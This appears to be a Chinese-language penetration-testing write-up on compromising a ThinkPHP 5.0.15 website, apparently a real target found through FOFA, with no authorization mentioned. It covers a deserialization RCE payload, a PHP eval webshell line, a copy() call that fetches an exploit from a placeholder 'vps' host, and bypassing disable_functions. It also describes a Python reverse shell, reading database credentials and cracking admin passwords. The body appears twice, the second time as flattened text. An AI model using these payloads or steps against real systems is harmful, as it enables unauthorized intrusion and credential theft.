记一次简单的渗透
字数 1198 2025-08-05 08:19:40

ThinkPHP 5.0.15 渗透实战:从信息收集到GetShell

前言

本文记录了一次针对ThinkPHP 5.0.15框架网站的实际渗透过程,涉及信息收集、漏洞利用、绕过防护措施和最终获取系统权限的全流程。该渗透测试展示了如何综合利用多个漏洞和技术手段突破安全限制。

信息收集阶段

  1. 目标发现

    • 使用FOFA搜索引擎发现目标后台管理系统
    • 初步尝试弱口令和SQL注入未果
  2. 框架识别

    • 通过错误路由信息确认目标使用ThinkPHP框架
    • 确定具体版本为ThinkPHP 5.0.15
  3. 环境分析

    • PHP版本:7.1
    • 启用了PHP-FPM服务
    • 存在安全限制:
      • open_basedir限制
      • disable_functions限制

漏洞分析与利用

ThinkPHP 5.0.15已知漏洞

  1. RCE漏洞

    • 该版本存在远程代码执行漏洞
    • 但直接利用受限于call_user_func功能局限
  2. 反序列化漏洞

    • 通过控制File类实现伪协议绕过死亡exit()
    • 利用payload构造:
    _method=__construct&method=get&filter=unserialize&get[]=xxxxxx
    

文件写入尝试

  1. 初始尝试失败

    • 直接写入PHP代码导致语法错误:
      <?php eval($_POST['ccc']);?>
      
    • 错误原因:短标签<?被解析,后续内容被当作函数调用
  2. 解决方案

    • 使用php://filter组合技术绕过解析问题
    • 参考CTF中常见的filter利用技术

绕过安全限制

绕过disable_functions

  1. 可用技术选项

    • PHP-FPM未授权访问漏洞
    • PHP 7.1特定漏洞:
      • JSON serializer UAF (Use-After-Free)
      • Backtrace UAF
  2. 选择Backtrace UAF exploit

    • 上传专门编写的利用代码
    • 通过HTTP下载到目标服务器:
      copy('http://vps/1.txt','/tmp/exp.php');
      

实际利用过程

  1. 执行系统命令

    • 成功执行系统命令但无法直接获取交互式shell
    • 发现/usr/bin目录链接问题
  2. 替代方案

    • 使用Python获取反向shell
    • 创建新的webshell文件shell.php,密码改为cmd

权限提升与横向移动

  1. 数据库访问

    • database.php读取数据库凭据
    • 成功连接数据库
  2. 管理员密码破解

    • 识别密码加密方式
    • 通过分析后台代码获取加密/解密算法

关键技术与参考

  1. 文件写入技巧

  2. PHP漏洞利用

    • Backtrace UAF exploit完整代码见原文
    • 需要根据目标环境调整参数

总结

本次渗透测试展示了从信息收集到最终获取系统权限的完整过程,关键点包括:

  1. 准确识别目标框架版本
  2. 综合利用多个漏洞形成攻击链
  3. 绕过安全限制的多种技术手段
  4. 根据实际情况灵活调整攻击策略

特别值得注意的是,在遇到限制时(如disable_functions),需要深入了解PHP运行机制和版本特性,才能找到有效的绕过方法。

ThinkPHP 5.0.15 渗透实战:从信息收集到GetShell 前言 本文记录了一次针对ThinkPHP 5.0.15框架网站的实际渗透过程,涉及信息收集、漏洞利用、绕过防护措施和最终获取系统权限的全流程。该渗透测试展示了如何综合利用多个漏洞和技术手段突破安全限制。 信息收集阶段 目标发现 : 使用FOFA搜索引擎发现目标后台管理系统 初步尝试弱口令和SQL注入未果 框架识别 : 通过错误路由信息确认目标使用ThinkPHP框架 确定具体版本为ThinkPHP 5.0.15 环境分析 : PHP版本:7.1 启用了PHP-FPM服务 存在安全限制: open_ basedir限制 disable_ functions限制 漏洞分析与利用 ThinkPHP 5.0.15已知漏洞 RCE漏洞 : 该版本存在远程代码执行漏洞 但直接利用受限于 call_user_func 功能局限 反序列化漏洞 : 通过控制File类实现伪协议绕过死亡exit() 利用payload构造: 文件写入尝试 初始尝试失败 : 直接写入PHP代码导致语法错误: 错误原因:短标签 <? 被解析,后续内容被当作函数调用 解决方案 : 使用 php://filter 组合技术绕过解析问题 参考CTF中常见的filter利用技术 绕过安全限制 绕过disable_ functions 可用技术选项 : PHP-FPM未授权访问漏洞 PHP 7.1特定漏洞: JSON serializer UAF (Use-After-Free) Backtrace UAF 选择Backtrace UAF exploit : 上传专门编写的利用代码 通过HTTP下载到目标服务器: 实际利用过程 执行系统命令 : 成功执行系统命令但无法直接获取交互式shell 发现 /usr/bin 目录链接问题 替代方案 : 使用Python获取反向shell 创建新的webshell文件 shell.php ,密码改为 cmd 权限提升与横向移动 数据库访问 : 从 database.php 读取数据库凭据 成功连接数据库 管理员密码破解 : 识别密码加密方式 通过分析后台代码获取加密/解密算法 关键技术与参考 文件写入技巧 : 参考: 关于file_ put_ contents的一些小测试 PHP漏洞利用 : Backtrace UAF exploit完整代码见原文 需要根据目标环境调整参数 总结 本次渗透测试展示了从信息收集到最终获取系统权限的完整过程,关键点包括: 准确识别目标框架版本 综合利用多个漏洞形成攻击链 绕过安全限制的多种技术手段 根据实际情况灵活调整攻击策略 特别值得注意的是,在遇到限制时(如disable_ functions),需要深入了解PHP运行机制和版本特性,才能找到有效的绕过方法。